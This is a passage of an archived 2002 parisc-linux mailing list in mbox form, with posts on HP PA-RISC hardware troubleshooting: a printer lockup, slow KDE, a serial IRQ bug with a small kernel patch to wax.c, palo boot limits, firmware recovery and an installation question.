NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:35 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 11:00:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail4.sdc1.sfba.home.com (femail4.sdc1.sfba.home.com [24.0.95.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5068B482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 11:00:58 -0700 (MST)
Original-Received: from kenny ([68.58.113.28]) by femail4.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20020222173127.ZIKO22968.femail4.sdc1.sfba.home.com@kenny>
          for <parisc-linux@lists.parisc-linux.org>;
          Fri, 22 Feb 2002 09:31:27 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14140

----- Original Message -----
From: "James S" <smith-james@home.com>
To: "Michael Wood" <mwood@its.uct.ac.za>
Sent: Friday, February 22, 2002 10:46 AM
Subject: Re: [parisc-linux] Printing on a 712/60


> > On Tue, Feb 19, 2002 at 01:46:14PM -0500, James S wrote:
> > > Every time i send a printjob to the local printer port the
> > > machine locks solid
> > >
> > > anybody else having this problem ?
> > >
> > > i've got an HP deskjet 500 attached using a standard parallel
> > > cable using the cups printing system, although i tried lpd &
> > > got the same result
> >
> > I think this is the problem that happens when the kernel doesn't
> > find /sbin/hotplug or whatever.  Try searching for hotplug in
> > the archives.  Or just apt-get install hotplug and see if the
> > problem goes away :)
> >
> nope - same problem
>
> i was wondering how a usb package could affect a parallel printer.......
>
> i've also noticed that there is a bug in the ps printing renderer which
> causes the printjobs to bail out half way through, but this can be fixed
by
> adding the gimp printing filter & printing through that instead.
>
> so, printing to a windows shared printer 1, same printer on local port 0
>
> i'm using kernel 2.4.17-32, btw & all the latest cups packages
>
> Thanks
>
> James S
>
>
>
>
>
>
>
>
>
>
>




From - Thu Nov 08 21:21:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smith-james@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Fw: [parisc-linux] Problems running KDE on PARISC
Date: Fri, 22 Feb 2002 12:31:42 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <005e01c1bbc6$cb52bb40$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621095 3737 80.91.229.3 (22 Nov 2014 01:51:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:35 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 11:01:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail4.sdc1.sfba.home.com (femail4.sdc1.sfba.home.com [24.0.95.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D8AD4866
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 11:01:10 -0700 (MST)
Original-Received: from kenny ([68.58.113.28]) by femail4.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20020222173143.ZJCK22968.femail4.sdc1.sfba.home.com@kenny>
          for <parisc-linux@lists.parisc-linux.org>;
          Fri, 22 Feb 2002 09:31:43 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14141

----- Original Message -----
From: "James S" <smith-james@home.com>
To: "Thomas Schmid" <Thomas.Schmid@ascom.ch>
Sent: Friday, February 22, 2002 10:31 AM
Subject: Re: [parisc-linux] Problems running KDE on PARISC


> > Generally speaking KDE is slow on these machines, but
> > when I log in from KDM, it takes on _both_ machines about
> > 4..5 minutes to go from KDM login screen to KDE window
> > manager.
> >
>
> i was running kde as well, but found the wait time for applications to
start
> too long, so i switched to windowmaker - very configurable & much quicker
to
> load, but it also keeps the ability to run gnome & kde apps.
>
> just my ha'pennys worth...
>
> James S
>
>
>




From - Thu Nov 08 21:21:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Strange serial behaviour on C160
Date: Fri, 22 Feb 2002 20:39:02 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20020222203902.A30545@parcelfarce.linux.theplanet.co.uk>
References: <20020220204800.A27212@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.42.0202221752390.14794-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621096 3751 80.91.229.3 (22 Nov 2014 01:51:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 13:39:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 421BC485F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 13:39:04 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16eMT8-0008H3-00; Fri, 22 Feb 2002 20:39:02 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.42.0202221752390.14794-100000@r6.petescaff.com>; from peter@petescaff.com on Fri, Feb 22, 2002 at 05:58:04PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14142

On Fri, Feb 22, 2002 at 05:58:04PM +0100, Peter Mottram wrote:
> I now have 2.4.17-pa28 running on my C160 & things have improved but are
> not yet perfect as I still have three serial ports......
> 
> /dev/ttyS0, UART: 16550A, Port: 0x0000, IRQ: 90
> /dev/ttyS1, UART: 16550A, Port: 0x0000, IRQ: 121
> /dev/ttyS2, UART: 16550A, Port: 0x0000, IRQ: 121

Umm.. where are you getting this output from?  The serial devices don't
show up in port space but in io memory.  Can you provide me with a dmesg
(by private mail, no need to clog the list archive; I'll reply with the
relevant bits)?

> Of these devices the functional ports are 0 & 2. The weird speed problems
> have gone away so I can use my second serial port without problems - it is
> just a little odd that the rogue ttyS1 still shows up.

Yes, it is.  Glad to hear the speed problems are gone though.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo not booting kernel
Date: Fri, 22 Feb 2002 20:48:57 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20020222204857.B30545@parcelfarce.linux.theplanet.co.uk>
References: <20020220232407.T96452-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621096 3761 80.91.229.3 (22 Nov 2014 01:51:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Yasholomew Yashinski <yashy@mail.yashy.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 13:48:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF89F4867
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 13:48:58 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16eMcj-0008Nu-00; Fri, 22 Feb 2002 20:48:57 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020220232407.T96452-100000@mail.yashy.com>; from yashy@mail.yashy.com on Thu, Feb 21, 2002 at 04:54:11PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14143

On Thu, Feb 21, 2002 at 04:54:11PM -0500, Yasholomew Yashinski wrote:
> Partition Start(MB) End(MB) Id Type
> 1               1     244   82 swap
> 2             245     275   f0 Palo
> 3             276    8678   83 ext2
> 
> PALO(F0) partition contains:
>     0/vmlinux32 3324993 bytes @ 0xf440000
> 
> Information: No console specified on kernel command line. This is normal.
> PALO will choose the console currently used by firmware (serial).
> Command line for kernel: 'root=/dev/sdb3 HOME=/ console=ttyS0 TERM=vt102
> palo_ke
> rnel=3/boot/vmlinux'
> Selected kernel: /boot/vmlinux from partition 3
> offset_read(2, 0x0006c824, 128, 1342193664) can't seek past 221249536
> ext2_iget: read errorERROR: open /boot/vmlinux from partition 3 failed

palo doesn't support booting from partitions >2GB

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Strange serial behaviour on C160
Date: Fri, 22 Feb 2002 23:51:20 +0000
Lines: 63
Approved: news@gmane.org
Message-ID: <20020222235120.C30545@parcelfarce.linux.theplanet.co.uk>
References: <20020222203902.A30545@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.42.0202230007580.15892-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621096 3765 80.91.229.3 (22 Nov 2014 01:51:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:36 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 16:51:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B20ED485D
	for <parisc-linux@parisc-linux.org>; Fri, 22 Feb 2002 16:51:26 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16ePTE-0002Ex-00; Fri, 22 Feb 2002 23:51:20 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.42.0202230007580.15892-100000@r6.petescaff.com>; from peter@petescaff.com on Sat, Feb 23, 2002 at 12:11:38AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14144

On Sat, Feb 23, 2002 at 12:11:38AM +0100, Peter Mottram wrote:
> Found devices:
> 2. Dino PCI Bridge (13) at 0xf1600000 [8/0], versions 0x680, 0x1, 0xa
> 4. Dino RS-232 (10) at 0xf1603000 [8/3], versions 0x7, 0x0, 0x8c
> 7. Raven U/L2 Core BA (11) at 0xffd00000 [8/16], versions 0x3b, 0x0, 0x81,  additional addresses: 0xffd0c000 0xffc00000
> 10. Raven U/L2 Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x3b, 0x0, 0x8c
> 15. Raven Backplane Wax BA (11) at 0xffe00000 [8/20], versions 0x17, 0x0, 0x8e
> 17. Raven Backplane RS-232 (10) at 0xffe02000 [8/20/2], versions 0x17, 0x0, 0x8c
> Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
> ttyS00 at iomem 0xffd05800 (irq = 90) is a 16550A
> ttyS01 at iomem 0xf1603800 (irq = 121) is a 16550A
> ttyS02 at iomem 0xffe02800 (irq = 121) is a 16550A

Hah, figured out the bug.  It's all my fault!  Now that Dino has stopped
accidentally walking its siblings and finding a serial port to assign
an IRQ to, Wax is intentionally walking its siblings to assign an IRQ
and finding Dino's serial port :-)

Here's the code:

        fixup_child_irqs(dev, wax->busdev_region->data.irqbase,
                        wax_choose_irq);
        /* On 715-class machines, Wax EISA is a sibling of Wax, not a child.
         * On B/C/J class machines, wax_choose_irq won't match any device so
         * no harm will be done.
         */
        fixup_child_irqs(dev->parent, wax->busdev_region->data.irqbase,
                        wax_choose_irq);

The comment is quite the smoking gun.  Ideally, I would conditionalise it
on wax->version, but that's not currently being read; WAX_VER is undefined
and I don't have proper Wax documentation (if anyone happens to have
more Wax documentation than just the EISA portions, please let me know).
So, for the moment, let's try something along the lines of:

diff -u -p -r1.20 wax.c
--- drivers/gsc/wax.c   2002/02/05 23:59:35     1.20
+++ drivers/gsc/wax.c   2002/02/22 23:45:30
@@ -128,12 +128,11 @@ wax_init_chip(struct parisc_device *dev)
 
 	fixup_child_irqs(dev, wax->busdev_region->data.irqbase,
 			wax_choose_irq);
-	/* On 715-class machines, Wax EISA is a sibling of Wax, not a child.
-	 * On B/C/J class machines, wax_choose_irq won't match any device so
-	 * no harm will be done.
-	 */
-	fixup_child_irqs(dev->parent, wax->busdev_region->data.irqbase,
-			wax_choose_irq);
+	/* On 715-class machines, Wax EISA is a sibling of Wax, not a child. */
+	if (dev->parent->id.hw_type != HPHW_IOA) {
+		fixup_child_irqs(dev->parent, wax->busdev_region->data.irqbase,
+				wax_choose_irq);
+	}
 
 	/* Register the HIL-Keyboard NMI-Handler */
 #ifdef CONFIG_HIL

It compiles, I haven't checked it boots...

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Failed Firmware Update...
Date: Fri, 22 Feb 2002 23:15:40 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20020223061540.C8ACC4860@dsl2.external.hp.com>
References: <OF24F42D74.714B6A40-ONC1256B68.00484869@hasler.ascom.ch>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621097 3767 80.91.229.3 (22 Nov 2014 01:51:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Thomas Schmid" <Thomas.Schmid@ascom.ch>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 23:15:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C8ACC4860; Fri, 22 Feb 2002 23:15:40 -0700 (MST)
In-Reply-To: Message from "Thomas Schmid" <Thomas.Schmid@ascom.ch> 
   of "Fri, 22 Feb 2002 14:15:15 +0100." <OF24F42D74.714B6A40-ONC1256B68.00484869@hasler.ascom.ch> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14145

"Thomas Schmid" wrote:
> well, after following some threads in this list about firmware updates,
> I decided to update my 715 to the current 1.6, up from 1.1.
...
> - Question: The machine I (now) had was a 715/100XC; can it be that the
> 1.6 firmware update is not suitable for that variant of the 715/100 ?

That's correct. latest firmware for 715/100XC was v 1.2.

> - Is there still hope to revive the machine ? (without HP's support...)

Maybe.
You need to get access to a "dagger" card that is loaded with
v1.2 and it can be blasted on the box. I have such a card but
it currently has 712 firmware on it.

hth,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253



From - Thu Nov 08 21:21:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000
Date: Fri, 22 Feb 2002 23:34:35 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20020223063435.7F9964861@dsl2.external.hp.com>
References: <20020219224701.G93016-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621097 3779 80.91.229.3 (22 Nov 2014 01:51:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	grundler@dsl2.external.hp.com
To: Yasholomew Yashinski <yashy@mail.yashy.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 23:34:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7F9964861; Fri, 22 Feb 2002 23:34:35 -0700 (MST)
In-Reply-To: Message from Yasholomew Yashinski <yashy@mail.yashy.com> 
   of "Tue, 19 Feb 2002 23:48:21 EST." <20020219224701.G93016-100000@mail.yashy.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14146

Yasholomew Yashinski wrote:
>  Going through the install now, via serial console. Everything was working
> fine until I tried to install a kernel from the cdrom:

Is this with 0.9.3 CD image?
Read the errata...CD-ROM isn't support by the kernel on the CD.
More recent kernels have fixed the CD-ROM (tnx Fleedwood!)
support for suckyio systems.



From - Thu Nov 08 21:21:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yasholomew Yashinski <yashy@mail.yashy.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000
Date: Sat, 23 Feb 2002 01:50:17 -0500 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <20020223013935.D3685-100000@mail.yashy.com>
References: <20020223063435.7F9964861@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621097 3788 80.91.229.3 (22 Nov 2014 01:51:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 23:50:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.yashy.com (cpu2119.adsl.bellglobal.com [207.236.3.96])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1DAF4864
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 23:50:20 -0700 (MST)
Original-Received: from yashy (helo=localhost)
	by mail.yashy.com with local-esmtp (Exim 3.33 #1)
	id 16eW0f-00013j-00
	for parisc-linux@lists.parisc-linux.org; Sat, 23 Feb 2002 01:50:17 -0500
In-Reply-To: <20020223063435.7F9964861@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14147

> >  Going through the install now, via serial console. Everything was working
> > fine until I tried to install a kernel from the cdrom:
>
> Is this with 0.9.3 CD image?
> Read the errata...CD-ROM isn't support by the kernel on the CD.
> More recent kernels have fixed the CD-ROM (tnx Fleedwood!)
> support for suckyio systems.

 I installed it for a third time creating a smaller /boot partition in
order for palo to work, and a net kernel (2.4.17 IIRC) installed
successfully. I have since upgraded to pa28 in order for my framebuffer to
work. I apt-get'd cvs and tried to run:

~$ cvs -d :pserver:anonymous@cvs.parisc-linux.org:/var/cvs/ login
Logging in to :pserver:anonymous@cvs.parisc-linux.org:2401/var/cvs/
CVS password:  # no password, just CR
cvs [login aborted]: recv() from server cvs.parisc-linux.org: Connection
reset by peer

 Do I need any extra configuration, this has been happening since
yesterday? How do I switch from stifb to sticon (I just apt-get'd
xfree86)?

 I'd just like to confirm:
eth0: Setting half-duplex based on MII#1 link partner capability of 0021.
 is correct?

 Everything else appears to be working great.

 Thanks in Advance,

--
Yashy







From - Thu Nov 08 21:21:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712 Software Temperature
Date: Sat, 23 Feb 2002 00:41:28 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20020223074128.1B3234865@dsl2.external.hp.com>
References: <3C74DF52.7090308@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621097 3804 80.91.229.3 (22 Nov 2014 01:51:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:37 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Jbit <james_a_n_lee@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 23 00:41:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1B3234865; Sat, 23 Feb 2002 00:41:28 -0700 (MST)
In-Reply-To: Message from Jbit <james_a_n_lee@yahoo.com> 
   of "Thu, 21 Feb 2002 11:51:46 GMT." <3C74DF52.7090308@yahoo.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
